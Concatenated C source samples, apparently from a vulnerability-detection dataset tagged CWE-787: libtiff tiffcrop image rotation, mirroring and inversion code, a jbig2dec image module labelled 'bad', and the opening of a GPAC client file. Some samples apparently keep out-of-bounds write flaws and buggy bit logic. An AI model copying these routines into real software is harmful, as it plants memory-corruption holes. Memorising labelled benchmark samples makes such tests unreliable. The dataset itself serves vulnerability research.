(-1); } } } _TIFFfree(ibuff); *(ibuff_ptr) = rbuff; *img_width = length; *img_length = width; image->width = length; image->length = width; res_temp = image->xres; image->xres = image->yres; image->yres = res_temp; break; case 270: if ((bps % 8) == 0) /* byte aligned data */ { for (col = 0; col < width; col++) { src_offset = col * bytes_per_pixel; dst_offset = (width - col - 1) * colsize; src = ibuff + src_offset; dst = rbuff + dst_offset; for (row = length; row > 0; row--) { for (i = 0; i < bytes_per_pixel; i++) *dst++ = *(src + i); src += rowsize; } } } else { /* non 8 bit per sample data */ for (col = 0; col < width; col++) { src_offset = 0; dst_offset = (width - col - 1) * colsize; src = ibuff + src_offset; dst = rbuff + dst_offset; switch (shift_width) { case 1: if (bps == 1) { if (rotateContigSamples8bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; } if (rotateContigSamples16bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 2: if (rotateContigSamples24bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 3: case 4: case 5: if (rotateContigSamples32bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; default: TIFFError("rotateImage","Unsupported bit depth %d", bps); _TIFFfree(rbuff); return (-1); } } } _TIFFfree(ibuff); *(ibuff_ptr) = rbuff; *img_width = length; *img_length = width; image->width = length; image->length = width; res_temp = image->xres; image->xres = image->yres; image->yres = res_temp; break; default: break; } return (0); } /* end rotateImage */ static int reverseSamples8bits (uint16 spp, uint16 bps, uint32 width, uint8 *ibuff, uint8 *obuff) { int ready_bits = 0; uint32 col; uint32 src_byte, src_bit; uint32 bit_offset = 0; uint8 match_bits = 0, mask_bits = 0; uint8 buff1 = 0, buff2 = 0; unsigned char *src; unsigned char *dst; tsample_t sample; if ((ibuff == NULL) || (obuff == NULL)) { TIFFError("reverseSamples8bits","Invalid image or work buffer"); return (1); } ready_bits = 0; mask_bits = (uint8)-1 >> ( 8 - bps); dst = obuff; for (col = width; col > 0; col--) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = (col - 1) * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } src = ibuff + src_byte; match_bits = mask_bits << (8 - src_bit - bps); buff1 = ((*src) & match_bits) << (src_bit); if (ready_bits < 8) buff2 = (buff2 | (buff1 >> ready_bits)); else /* If we have a full buffer's worth, write it out */ { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; } ready_bits += bps; } } if (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; } return (0); } /* end reverseSamples8bits */ static int reverseSamples16bits (uint16 spp, uint16 bps, uint32 width, uint8 *ibuff, uint8 *obuff) { int ready_bits = 0; uint32 col; uint32 src_byte = 0, high_bit = 0; uint32 bit_offset = 0; uint16 match_bits = 0, mask_bits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; unsigned char *src; unsigned char *dst; tsample_t sample; if ((ibuff == NULL) || (obuff == NULL)) { TIFFError("reverseSample16bits","Invalid image or work buffer"); return (1); } ready_bits = 0; mask_bits = (uint16)-1 >> (16 - bps); dst = obuff; for (col = width; col > 0; col--) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = (col - 1) * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; high_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; high_bit = (bit_offset + (sample * bps)) % 8; } src = ibuff + src_byte; match_bits = mask_bits << (16 - high_bit - bps); if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; buff1 = (buff1 & match_bits) << (high_bit); if (ready_bits < 8) { /* add another bps bits to the buffer */ bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); } ready_bits += bps; } } if (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; } return (0); } /* end reverseSamples16bits */ static int reverseSamples24bits (uint16 spp, uint16 bps, uint32 width, uint8 *ibuff, uint8 *obuff) { int ready_bits = 0; uint32 col; uint32 src_byte = 0, high_bit = 0; uint32 bit_offset = 0; uint32 match_bits = 0, mask_bits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; unsigned char *src; unsigned char *dst; tsample_t sample; if ((ibuff == NULL) || (obuff == NULL)) { TIFFError("reverseSamples24bits","Invalid image or work buffer"); return (1); } ready_bits = 0; mask_bits = (uint32)-1 >> (32 - bps); dst = obuff; for (col = width; col > 0; col--) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = (col - 1) * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; high_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; high_bit = (bit_offset + (sample * bps)) % 8; } src = ibuff + src_byte; match_bits = mask_bits << (32 - high_bit - bps); if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; buff1 = (buff1 & match_bits) << (high_bit); if (ready_bits < 16) { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } return (0); } /* end reverseSamples24bits */ static int reverseSamples32bits (uint16 spp, uint16 bps, uint32 width, uint8 *ibuff, uint8 *obuff) { int ready_bits = 0 /*, shift_width = 0 */; /* int bytes_per_sample, bytes_per_pixel; */ uint32 bit_offset; uint32 src_byte = 0, high_bit = 0; uint32 col; uint32 longbuff1 = 0, longbuff2 = 0; uint64 mask_bits = 0, match_bits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; unsigned char *src; unsigned char *dst; tsample_t sample; if ((ibuff == NULL) || (obuff == NULL)) { TIFFError("reverseSamples32bits","Invalid image or work buffer"); return (1); } ready_bits = 0; mask_bits = (uint64)-1 >> (64 - bps); dst = obuff; /* bytes_per_sample = (bps + 7) / 8; */ /* bytes_per_pixel = ((bps * spp) + 7) / 8; */ /* if (bytes_per_pixel < (bytes_per_sample + 1)) */ /* shift_width = bytes_per_pixel; */ /* else */ /* shift_width = bytes_per_sample + 1; */ for (col = width; col > 0; col--) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = (col - 1) * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; high_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; high_bit = (bit_offset + (sample * bps)) % 8; } src = ibuff + src_byte; match_bits = mask_bits << (64 - high_bit - bps); if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & match_bits) << (high_bit); if (ready_bits < 32) { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); } ready_bits += bps; } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } return (0); } /* end reverseSamples32bits */ static int reverseSamplesBytes (uint16 spp, uint16 bps, uint32 width, uint8 *src, uint8 *dst) { int i; uint32 col, bytes_per_pixel, col_offset; uint8 bytebuff1; unsigned char swapbuff[32]; if ((src == NULL) || (dst == NULL)) { TIFFError("reverseSamplesBytes","Invalid input or output buffer"); return (1); } bytes_per_pixel = ((bps * spp) + 7) / 8; if( bytes_per_pixel > sizeof(swapbuff) ) { TIFFError("reverseSamplesBytes","bytes_per_pixel too large"); return (1); } switch (bps / 8) { case 8: /* Use memcpy for multiple bytes per sample data */ case 4: case 3: case 2: for (col = 0; col < (width / 2); col++) { col_offset = col * bytes_per_pixel; _TIFFmemcpy (swapbuff, src + col_offset, bytes_per_pixel); _TIFFmemcpy (src + col_offset, dst - col_offset - bytes_per_pixel, bytes_per_pixel); _TIFFmemcpy (dst - col_offset - bytes_per_pixel, swapbuff, bytes_per_pixel); } break; case 1: /* Use byte copy only for single byte per sample data */ for (col = 0; col < (width / 2); col++) { for (i = 0; i < spp; i++) { bytebuff1 = *src; *src++ = *(dst - spp + i); *(dst - spp + i) = bytebuff1; } dst -= spp; } break; default: TIFFError("reverseSamplesBytes","Unsupported bit depth %d", bps); return (1); } return (0); } /* end reverseSamplesBytes */ /* Mirror an image horizontally or vertically */ static int mirrorImage(uint16 spp, uint16 bps, uint16 mirror, uint32 width, uint32 length, unsigned char *ibuff) { int shift_width; uint32 bytes_per_pixel, bytes_per_sample; uint32 row, rowsize, row_offset; unsigned char *line_buff = NULL; unsigned char *src; unsigned char *dst; src = ibuff; rowsize = ((width * bps * spp) + 7) / 8; switch (mirror) { case MIRROR_BOTH: case MIRROR_VERT: line_buff = (unsigned char *)_TIFFmalloc(rowsize); if (line_buff == NULL) { TIFFError ("mirrorImage", "Unable to allocate mirror line buffer of %1u bytes", rowsize); return (-1); } dst = ibuff + (rowsize * (length - 1)); for (row = 0; row < length / 2; row++) { _TIFFmemcpy(line_buff, src, rowsize); _TIFFmemcpy(src, dst, rowsize); _TIFFmemcpy(dst, line_buff, rowsize); src += (rowsize); dst -= (rowsize); } if (line_buff) _TIFFfree(line_buff); if (mirror == MIRROR_VERT) break; case MIRROR_HORIZ : if ((bps % 8) == 0) /* byte alligned data */ { for (row = 0; row < length; row++) { row_offset = row * rowsize; src = ibuff + row_offset; dst = ibuff + row_offset + rowsize; if (reverseSamplesBytes(spp, bps, width, src, dst)) { return (-1); } } } else { /* non 8 bit per sample data */ if (!(line_buff = (unsigned char *)_TIFFmalloc(rowsize + 1))) { TIFFError("mirrorImage", "Unable to allocate mirror line buffer"); return (-1); } bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; for (row = 0; row < length; row++) { row_offset = row * rowsize; src = ibuff + row_offset; _TIFFmemset (line_buff, '\0', rowsize); switch (shift_width) { case 1: if (reverseSamples16bits(spp, bps, width, src, line_buff)) { _TIFFfree(line_buff); return (-1); } _TIFFmemcpy (src, line_buff, rowsize); break; case 2: if (reverseSamples24bits(spp, bps, width, src, line_buff)) { _TIFFfree(line_buff); return (-1); } _TIFFmemcpy (src, line_buff, rowsize); break; case 3: case 4: case 5: if (reverseSamples32bits(spp, bps, width, src, line_buff)) { _TIFFfree(line_buff); return (-1); } _TIFFmemcpy (src, line_buff, rowsize); break; default: TIFFError("mirrorImage","Unsupported bit depth %d", bps); _TIFFfree(line_buff); return (-1); } } if (line_buff) _TIFFfree(line_buff); } break; default: TIFFError ("mirrorImage", "Invalid mirror axis %d", mirror); return (-1); break; } return (0); } /* Invert the light and dark values for a bilevel or grayscale image */ static int invertImage(uint16 photometric, uint16 spp, uint16 bps, uint32 width, uint32 length, unsigned char *work_buff) { uint32 row, col; unsigned char bytebuff1, bytebuff2, bytebuff3, bytebuff4; unsigned char *src; uint16 *src_uint16; uint32 *src_uint32; if (spp != 1) { TIFFError("invertImage", "Image inversion not supported for more than one sample per pixel"); return (-1); } if (photometric != PHOTOMETRIC_MINISWHITE && photometric != PHOTOMETRIC_MINISBLACK) { TIFFError("invertImage", "Only black and white and grayscale images can be inverted"); return (-1); } src = work_buff; if (src == NULL) { TIFFError ("invertImage", "Invalid crop buffer passed to invertImage"); return (-1); } switch (bps) { case 32: src_uint32 = (uint32 *)src; for (row = 0; row < length; row++) for (col = 0; col < width; col++) { *src_uint32 = (uint32)0xFFFFFFFF - *src_uint32; src_uint32++; } break; case 16: src_uint16 = (uint16 *)src; for (row = 0; row < length; row++) for (col = 0; col < width; col++) { *src_uint16 = (uint16)0xFFFF - *src_uint16; src_uint16++; } break; case 8: for (row = 0; row < length; row++) for (col = 0; col < width; col++) { *src = (uint8)255 - *src; src++; } break; case 4: for (row = 0; row < length; row++) for (col = 0; col < width; col++) { bytebuff1 = 16 - (uint8)(*src & 240 >> 4); bytebuff2 = 16 - (*src & 15); *src = bytebuff1 << 4 & bytebuff2; src++; } break; case 2: for (row = 0; row < length; row++) for (col = 0; col < width; col++) { bytebuff1 = 4 - (uint8)(*src & 192 >> 6); bytebuff2 = 4 - (uint8)(*src & 48 >> 4); bytebuff3 = 4 - (uint8)(*src & 12 >> 2); bytebuff4 = 4 - (uint8)(*src & 3); *src = (bytebuff1 << 6) || (bytebuff2 << 4) || (bytebuff3 << 2) || bytebuff4; src++; } break; case 1: for (row = 0; row < length; row++) for (col = 0; col < width; col += 8 /(spp * bps)) { *src = ~(*src); src++; } break; default: TIFFError("invertImage", "Unsupported bit depth %d", bps); return (-1); } return (0); } /* vim: set ts=8 sts=8 sw=8 noet: */ /* * Local Variables: * mode: c * c-basic-offset: 8 * fill-column: 78 * End: */
./CrossVul/dataset_final_sorted/CWE-787/c/good_5479_4
crossvul-cpp_data_bad_3984_0
/* Copyright (C) 2001-2019 Artifex Software, Inc. All Rights Reserved. This software is provided AS-IS with no warranty, either express or implied. This software is distributed under license and may not be copied, modified or distributed except as expressly authorized under the terms of the license contained in the file LICENSE in this distribution. Refer to licensing information at http://www.artifex.com or contact Artifex Software, Inc., 1305 Grant Avenue - Suite 200, Novato, CA 94945, U.S.A., +1(415)492-9861, for further information. */ /* jbig2dec */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include "os_types.h" #include <stdio.h> #include <stdlib.h> #include <string.h> /* memcpy() */ #include "jbig2.h" #include "jbig2_priv.h" #include "jbig2_image.h" #if !defined (INT32_MAX) #define INT32_MAX 0x7fffffff #endif /* allocate a Jbig2Image structure and its associated bitmap */ Jbig2Image * jbig2_image_new(Jbig2Ctx *ctx, uint32_t width, uint32_t height) { Jbig2Image *image; uint32_t stride; if (width == 0 || height == 0) { jbig2_error(ctx, JBIG2_SEVERITY_FATAL, -1, "failed to create zero sized image"); return NULL; } image = jbig2_new(ctx, Jbig2Image, 1); if (image == NULL) { jbig2_error(ctx, JBIG2_SEVERITY_FATAL, -1, "failed to allocate image"); return NULL; } stride = ((width - 1) >> 3) + 1; /* generate a byte-aligned stride */ /* check for integer multiplication overflow */ if (height > (INT32_MAX / stride)) { jbig2_error(ctx, JBIG2_SEVERITY_FATAL, -1, "integer multiplication overflow (stride=%u, height=%u)", stride, height); jbig2_free(ctx->allocator, image); return NULL; } image->data = jbig2_new(ctx, uint8_t, (size_t) height * stride); if (image->data == NULL) { jbig2_error(ctx, JBIG2_SEVERITY_FATAL, -1, "failed to allocate image data buffer (stride=%u, height=%u)", stride, height); jbig2_free(ctx->allocator, image); return NULL; } image->width = width; image->height = height; image->stride = stride; image->refcount = 1; return image; } /* bump the reference count for an image pointer */ Jbig2Image * jbig2_image_reference(Jbig2Ctx *ctx, Jbig2Image *image) { if (image) image->refcount++; return image; } /* release an image pointer, freeing it it appropriate */ void jbig2_image_release(Jbig2Ctx *ctx, Jbig2Image *image) { if (image == NULL) return; image->refcount--; if (image->refcount == 0) jbig2_image_free(ctx, image); } /* free a Jbig2Image structure and its associated memory */ void jbig2_image_free(Jbig2Ctx *ctx, Jbig2Image *image) { if (image != NULL) { jbig2_free(ctx->allocator, image->data); jbig2_free(ctx->allocator, image); } } /* resize a Jbig2Image */ Jbig2Image * jbig2_image_resize(Jbig2Ctx *ctx, Jbig2Image *image, uint32_t width, uint32_t height, int value) { if (width == image->width) { uint8_t *data; /* check for integer multiplication overflow */ if (image->height > (INT32_MAX / image->stride)) { jbig2_error(ctx, JBIG2_SEVERITY_FATAL, -1, "integer multiplication overflow during resize (stride=%u, height=%u)", image->stride, height); return NULL; } /* use the same stride, just change the length */ data = jbig2_renew(ctx, image->data, uint8_t, (size_t) height * image->stride); if (data == NULL) { jbig2_error(ctx, JBIG2_SEVERITY_FATAL, -1, "failed to reallocate image"); return NULL; } image->data = data; if (height > image->height) { const uint8_t fill = value ? 0xFF : 0x00; memset(image->data + (size_t) image->height * image->stride, fill, ((size_t) height - image->height) * image->stride); } image->height = height; } else { Jbig2Image *newimage; int code; /* Unoptimized implementation, but it works. */ newimage = jbig2_image_new(ctx, width, height); if (newimage == NULL) { jbig2_error(ctx, JBIG2_SEVERITY_WARNING, -1, "failed to allocate resized image"); return NULL; } jbig2_image_clear(ctx, newimage, value); code = jbig2_image_compose(ctx, newimage, image, 0, 0, JBIG2_COMPOSE_REPLACE); if (code < 0) { jbig2_error(ctx, JBIG2_SEVERITY_WARNING, -1, "failed to compose image buffers when resizing"); jbig2_image_release(ctx, newimage); return NULL; } /* if refcount > 1 the original image, its pointer must be kept, so simply replaces its innards, and throw away the empty new image shell. */ jbig2_free(ctx->allocator, image->data); image->width = newimage->width; image->height = newimage->height; image->stride = newimage->stride; image->data = newimage->data; jbig2_free(ctx->allocator, newimage); } return image; } static inline void template_image_compose_opt(const uint8_t * JBIG2_RESTRICT ss, uint8_t * JBIG2_RESTRICT dd, int early, int late, uint8_t leftmask, uint8_t rightmask, uint32_t bytewidth_, uint32_t h, uint32_t shift, uint32_t dstride, uint32_t sstride, Jbig2ComposeOp op) { int i; uint32_t j; int bytewidth = (int)bytewidth_; if (bytewidth == 1) { for (j = 0; j < h; j++) { /* Only 1 byte! */ uint8_t v = (((early ? 0 : ss[0]<<8) | (late ? 0 : ss[1]))>>shift); if (op == JBIG2_COMPOSE_OR) *dd |= v & leftmask; else if (op == JBIG2_COMPOSE_AND) *dd &= (v & leftmask) | ~leftmask; else if (op == JBIG2_COMPOSE_XOR) *dd ^= v & leftmask; else if (op == JBIG2_COMPOSE_XNOR) *dd ^= (~v) & leftmask; else /* Replace */ *dd = (v & leftmask) | (*dd & ~leftmask); dd += dstride; ss += sstride; } return; } bytewidth -= 2; if (shift == 0) { ss++; for (j = 0; j < h; j++) { /* Left byte */ const uint8_t * JBIG2_RESTRICT s = ss; uint8_t * JBIG2_RESTRICT d = dd; if (op == JBIG2_COMPOSE_OR) *d++ |= *s++ & leftmask; else if (op == JBIG2_COMPOSE_AND) *d++ &= (*s++ & leftmask) | ~leftmask; else if (op == JBIG2_COMPOSE_XOR) *d++ ^= *s++ & leftmask; else if (op == JBIG2_COMPOSE_XNOR) *d++ ^= (~*s++) & leftmask; else /* Replace */ *d = (*s++ & leftmask) | (*d & ~leftmask), d++; /* Central run */ for (i = bytewidth; i != 0; i--) { if (op == JBIG2_COMPOSE_OR) *d++ |= *s++; else if (op == JBIG2_COMPOSE_AND) *d++ &= *s++; else if (op == JBIG2_COMPOSE_XOR) *d++ ^= *s++; else if (op == JBIG2_COMPOSE_XNOR) *d++ ^= ~*s++; else /* Replace */ *d++ = *s++; } /* Right byte */ if (op == JBIG2_COMPOSE_OR) *d |= *s & rightmask; else if (op == JBIG2_COMPOSE_AND) *d &= (*s & rightmask) | ~rightmask; else if (op == JBIG2_COMPOSE_XOR) *d ^= *s & rightmask; else if (op == JBIG2_COMPOSE_XNOR) *d ^= (~*s) & rightmask; else /* Replace */ *d = (*s & rightmask) | (*d & ~rightmask); dd += dstride; ss += sstride; } } else { for (j = 0; j < h; j++) { /* Left byte */ const uint8_t * JBIG2_RESTRICT s = ss; uint8_t * JBIG2_RESTRICT d = dd; uint8_t s0, s1, v; s0 = early ? 0 : *s; s++; s1 = *s++; v = ((s0<<8) | s1)>>shift; if (op == JBIG2_COMPOSE_OR) *d++ |= v & leftmask; else if (op == JBIG2_COMPOSE_AND) *d++ &= (v & leftmask) | ~leftmask; else if (op == JBIG2_COMPOSE_XOR) *d++ ^= v & leftmask; else if (op == JBIG2_COMPOSE_XNOR) *d++ ^= (~v) & leftmask; else /* Replace */ *d = (v & leftmask) | (*d & ~leftmask), d++; /* Central run */ for (i = bytewidth; i > 0; i--) { s0 = s1; s1 = *s++; v = ((s0<<8) | s1)>>shift; if (op == JBIG2_COMPOSE_OR) *d++ |= v; else if (op == JBIG2_COMPOSE_AND) *d++ &= v; else if (op == JBIG2_COMPOSE_XOR) *d++ ^= v; else if (op == JBIG2_COMPOSE_XNOR) *d++ ^= ~v; else /* Replace */ *d++ = v; } /* Right byte */ s0 = s1; s1 = (late ? 0 : *s); v = (((s0<<8) | s1)>>shift); if (op == JBIG2_COMPOSE_OR) *d |= v & rightmask; else if (op == JBIG2_COMPOSE_AND) *d &= (v & rightmask) | ~rightmask; else if (op == JBIG2_COMPOSE_XOR) *d ^= v & rightmask; else if (op == JBIG2_COMPOSE_XNOR) *d ^= ~v & rightmask; else /* Replace */ *d = (v & rightmask) | (*d & ~rightmask); dd += dstride; ss += sstride; } } } static void jbig2_image_compose_opt_OR(const uint8_t *s, uint8_t *d, int early, int late, uint8_t mask, uint8_t rightmask, uint32_t bytewidth, uint32_t h, uint32_t shift, uint32_t dstride, uint32_t sstride) { if (early || late) template_image_compose_opt(s, d, early, late, mask, rightmask, bytewidth, h, shift, dstride, sstride, JBIG2_COMPOSE_OR); else template_image_compose_opt(s, d, 0, 0, mask, rightmask, bytewidth, h, shift, dstride, sstride, JBIG2_COMPOSE_OR); } static void jbig2_image_compose_opt_AND(const uint8_t *s, uint8_t *d, int early, int late, uint8_t mask, uint8_t rightmask, uint32_t bytewidth, uint32_t h, uint32_t shift, uint32_t dstride, uint32_t sstride) { if (early || late) template_image_compose_opt(s, d, early, late, mask, rightmask, bytewidth, h, shift, dstride, sstride, JBIG2_COMPOSE_AND); else template_image_compose_opt(s, d, 0, 0, mask, rightmask, bytewidth, h, shift, dstride, sstride, JBIG2_COMPOSE_AND); } static void jbig2_image_compose_opt_XOR(const uint8_t *s, uint8_t *d, int early, int late, uint8_t mask, uint8_t rightmask, uint32_t bytewidth, uint32_t h, uint32_t shift, uint32_t dstride, uint32_t sstride) { if (early || late) template_image_compose_opt(s, d, early, late, mask, rightmask, bytewidth, h, shift, dstride, sstride, JBIG2_COMPOSE_XOR); else template_image_compose_opt(s, d, 0, 0, mask, rightmask, bytewidth, h, shift, dstride, sstride, JBIG2_COMPOSE_XOR); } static void jbig2_image_compose_opt_XNOR(const uint8_t *s, uint8_t *d, int early, int late, uint8_t mask, uint8_t rightmask, uint32_t bytewidth, uint32_t h, uint32_t shift, uint32_t dstride, uint32_t sstride) { if (early || late) template_image_compose_opt(s, d, early, late, mask, rightmask, bytewidth, h, shift, dstride, sstride, JBIG2_COMPOSE_XNOR); else template_image_compose_opt(s, d, 0, 0, mask, rightmask, bytewidth, h, shift, dstride, sstride, JBIG2_COMPOSE_XNOR); } static void jbig2_image_compose_opt_REPLACE(const uint8_t *s, uint8_t *d, int early, int late, uint8_t mask, uint8_t rightmask, uint32_t bytewidth, uint32_t h, uint32_t shift, uint32_t dstride, uint32_t sstride) { if (early || late) template_image_compose_opt(s, d, early, late, mask, rightmask, bytewidth, h, shift, dstride, sstride, JBIG2_COMPOSE_REPLACE); else template_image_compose_opt(s, d, 0, 0, mask, rightmask, bytewidth, h, shift, dstride, sstride, JBIG2_COMPOSE_REPLACE); } /* composite one jbig2_image onto another */ int jbig2_image_compose(Jbig2Ctx *ctx, Jbig2Image *dst, Jbig2Image *src, int x, int y, Jbig2ComposeOp op) { uint32_t w, h; uint32_t shift; uint32_t leftbyte; uint8_t *ss; uint8_t *dd; uint8_t leftmask, rightmask; int early = x >= 0; int late; uint32_t bytewidth; uint32_t syoffset = 0; if (src == NULL) return 0; /* This code takes a src image and combines it onto dst at offset (x,y), with operation op. */ /* Data is packed msb first within a byte, so with bits numbered: 01234567. * Second byte is: 89abcdef. So to combine into a run, we use: * (s[0]<<8) | s[1] == 0123456789abcdef. * To read from src into dst at offset 3, we need to read: * read: 0123456789abcdef... * write: 0123456798abcdef... * In general, to read from src and write into dst at offset x, we need to shift * down by (x&7) bits to allow for bit alignment. So shift = x&7. * So the 'central' part of our runs will see us doing: * *d++ op= ((s[0]<<8)|s[1])>>shift; * with special cases on the left and right edges of the run to mask. * With the left hand edge, we have to be careful not to 'underread' the start of * the src image; this is what the early flag is about. Similarly we have to be * careful not to read off the right hand edge; this is what the late flag is for. */ /* clip */ w = src->width; h = src->height; shift = (x & 7); ss = src->data - early; if (x < 0) { if (w < (uint32_t) -x) w = 0; else w += x; ss += (-x-1)>>3; x = 0; } if (y < 0) { if (h < (uint32_t) -y) h = 0; else h += y; syoffset = -y * src->stride; y = 0; } if ((uint32_t)x + w > dst->width) { if (dst->width < (uint32_t)x) w = 0; else w = dst->width - x; } if ((uint32_t)y + h > dst->height) { if (dst->height < (uint32_t)y) h = 0; else h = dst->height - y; } #ifdef JBIG2_DEBUG jbig2_error(ctx, JBIG2_SEVERITY_DEBUG, -1, "compositing %dx%d at (%d, %d) after clipping", w, h, x, y); #endif /* check for zero clipping region */ if ((w <= 0) || (h <= 0)) { #ifdef JBIG2_DEBUG jbig2_error(ctx, JBIG2_SEVERITY_DEBUG, -1, "zero clipping region"); #endif return 0; } leftbyte = (uint32_t) x >> 3; dd = dst->data + y * dst->stride + leftbyte; bytewidth = (((uint32_t) x + w - 1) >> 3) - leftbyte + 1; leftmask = 255>>(x&7); rightmask = (((x+w)&7) == 0) ? 255 : ~(255>>((x+w)&7)); if (bytewidth == 1) leftmask &= rightmask; late = (ss + bytewidth >= src->data + ((src->width+7)>>3)); ss += syoffset; switch(op) { case JBIG2_COMPOSE_OR: jbig2_image_compose_opt_OR(ss, dd, early, late, leftmask, rightmask, bytewidth, h, shift, dst->stride, src->stride); break; case JBIG2_COMPOSE_AND: jbig2_image_compose_opt_AND(ss, dd, early, late, leftmask, rightmask, bytewidth, h, shift, dst->stride, src->stride); break; case JBIG2_COMPOSE_XOR: jbig2_image_compose_opt_XOR(ss, dd, early, late, leftmask, rightmask, bytewidth, h, shift, dst->stride, src->stride); break; case JBIG2_COMPOSE_XNOR: jbig2_image_compose_opt_XNOR(ss, dd, early, late, leftmask, rightmask, bytewidth, h, shift, dst->stride, src->stride); break; case JBIG2_COMPOSE_REPLACE: jbig2_image_compose_opt_REPLACE(ss, dd, early, late, leftmask, rightmask, bytewidth, h, shift, dst->stride, src->stride); break; } return 0; } /* initialize an image bitmap to a constant value */ void jbig2_image_clear(Jbig2Ctx *ctx, Jbig2Image *image, int value) { const uint8_t fill = value ? 0xFF : 0x00; memset(image->data, fill, image->stride * image->height); } /* look up a pixel value in an image. returns 0 outside the image frame for the convenience of the template code */ int jbig2_image_get_pixel(Jbig2Image *image, int x, int y) { const int w = image->width; const int h = image->height; const int byte = (x >> 3) + y * image->stride; const int bit = 7 - (x & 7); if ((x < 0) || (x >= w)) return 0; if ((y < 0) || (y >= h)) return 0; return ((image->data[byte] >> bit) & 1); } /* set an individual pixel value in an image */ void jbig2_image_set_pixel(Jbig2Image *image, int x, int y, bool value) { const int w = image->width; const int h = image->height; int scratch, mask; int bit, byte; if ((x < 0) || (x >= w)) return; if ((y < 0) || (y >= h)) return; byte = (x >> 3) + y * image->stride; bit = 7 - (x & 7); mask = (1 << bit) ^ 0xff; scratch = image->data[byte] & mask; image->data[byte] = scratch | (value << bit); }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_3984_0
crossvul-cpp_data_bad_526_0
/* * GPAC - Multimedia Framework C SDK * * Authors: Jean Le Feuvre * Copyright (c) Telecom ParisTech 2005-2012 * All rights reserved * * This file is part of GPAC / command-line client * * GPAC is free software; you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation; either version 2, or (at your option) * any later version. * * GPAC is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; see the file COPYING. If not, write to * the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA. * */ /*includes both terminal and od browser*/ #include <gpac/terminal.h> #include <gpac/term_info.h> #include <gpac/constants.h> #include <gpac/events.h> #include <gpac/media_tools.h> #include <gpac/options.h> #include <gpac/modules/service.h> #include <gpac/avparse.h> #include <gpac/network.h> #include <gpac/utf.h> #include <time.h> /*ISO 639 languages*/ #include <gpac/iso639.h> //FIXME we need a plugin for playlists #include <gpac/internal/terminal_dev.h> #ifndef WIN32 #include 